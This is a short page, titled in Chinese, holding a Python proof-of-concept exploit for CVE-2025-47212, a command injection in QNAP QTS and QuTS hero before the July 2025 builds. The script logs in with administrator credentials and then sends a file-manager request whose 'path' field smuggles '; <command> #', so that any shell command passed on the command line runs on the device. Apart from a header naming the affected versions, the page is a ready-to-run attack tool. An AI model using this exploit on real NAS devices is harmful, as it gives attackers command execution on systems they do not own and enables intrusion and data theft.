CVE-2025-47212：QNAP操作系统命令注入漏洞

# CVE-2025-47212 PoC - QNAP Command Injection # Vulnerability: Command Injection in QNAP QTS / QuTS hero # Requirements: Valid administrator credentials # Affected: QTS < 5.2.6.3195 build 20250715, QuTS hero < h5.2.6.3195 build 20250715 import requests import sys TARGET = "https://<qnap-nas-ip>:8080" USERNAME = "admin" PASSWORD = "<admin_password>" def exploit(target, username, password, cmd): """ Exploit command injection vulnerability in QNAP QTS / QuTS hero OS. Attacker must possess valid administrator credentials. """ session = requests.Session() # Step 1: Authenticate as administrator login_url = f"{target}/cgi-bin/login.cgi" login_data = { "user": username, "pwd": password, "group": "admin" } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200: print("[!] Authentication failed") return print("[*] Authenticated as administrator") # Step 2: Inject malicious command via vulnerable endpoint # The vulnerable parameter does not sanitize shell metacharacters # Example payload: ; <command> # exploit_url = f"{target}/cgi-bin/filemanager/index.html" payload = f"; {cmd} #" params = { "func": "get_file_list", "path": payload } resp = session.post(exploit_url, data=params, verify=False) print(f"[*] Exploit sent. Status: {resp.status_code}") print(f"[*] Response: {resp.text[:500]}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <command_to_execute>") sys.exit(1) command = sys.argv[1] exploit(TARGET, USERNAME, PASSWORD, command)